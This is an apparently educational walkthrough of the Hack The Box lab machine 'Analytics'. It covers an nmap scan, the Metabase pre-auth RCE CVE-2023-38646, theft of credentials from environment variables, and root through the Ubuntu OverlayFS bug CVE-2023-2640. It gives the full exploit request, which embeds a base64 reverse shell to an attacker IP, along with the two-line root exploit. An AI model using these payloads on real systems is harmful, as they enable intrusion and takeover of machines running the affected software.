Analytics

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.49.201            
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-08 22:09 +08
Nmap scan report for 10.129.49.201
Host is up (0.0056s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Did a detailed scan as well:

$ nmap -p 80 -sC -sV --min-rate 4000 10.129.49.201  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-08 22:10 +08
Nmap scan report for 10.129.49.201
Host is up (0.0093s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I added analytical.htb to the /etc/hosts file before visiting the web application.

Web Enum -> CVE-2023-38646 RCE

The website was for a company that does data analytics.

Below, there are a few names we can note:

There was also a login page, which directed me to data.analytical.htb.

gobuster and wfuzz didn't reveal much, so I took a look at the requests being sent in Burpsuite. Here's the POST request sent on the login.

POST /api/session HTTP/1.1
Host: data.analytical.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 70
Origin: http://data.analytical.htb
Connection: close
Referer: http://data.analytical.htb/auth/login?redirect=%2F
Cookie: metabase.DEVICE=315d4277-faad-4015-a5cb-fc02ad4729e4

{"username":"[e-mail]","password":"admin","remember":true}

We can see that metabase is the backend, and that it has an /api endpoint. Metabase has a few pre-auth RCE exploits available.

Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)Assetnote

From the blog above, to determine if an instance is vulnerable, the setup-token variable needs to be misconfigured and not hidden. Viewing /api/sessions/properties for this machine verifies that the token is leaked.

Following the blog above, I just replaced the token and reverse shell command used in their PoC request. The base64 encoded command is just a simple bash one-liner.

POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Content-Length: 820

{

    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {

        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

After sending this, my listener port caught a reverse shell into a Docker instance.

Env Creds -> User Shell

Within the Docker container, I checked the environment variables and found the user's password.

$ env
env
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=3e3bd0cfec4e
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/metabase.db
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
<TRUNCATED>

Afterwards, I could ssh in as the user metalytics.

Privilege Escalation

CVE-2023-2640 -> Root

I did some basic enumeration, like getting the OS used and what not:

$ uname -a 
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.3 LTS
Release:        22.04
Codename:       jammy

When googling for 'Ubuntu 22.04 jammy exploit', I found this:

High-Severity Vulnerability in Ubuntu OverlayFS ModuleDefault

The machine fits all the criterias to be vulnerable to this, so I gave the exploit a shot. I found the PoC on Reddit, and it worked.

Run these 2 commands back to back to get a root shell:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
u/python3 -c 'import os;os.setuid(0);os.system("bash")

Rooted!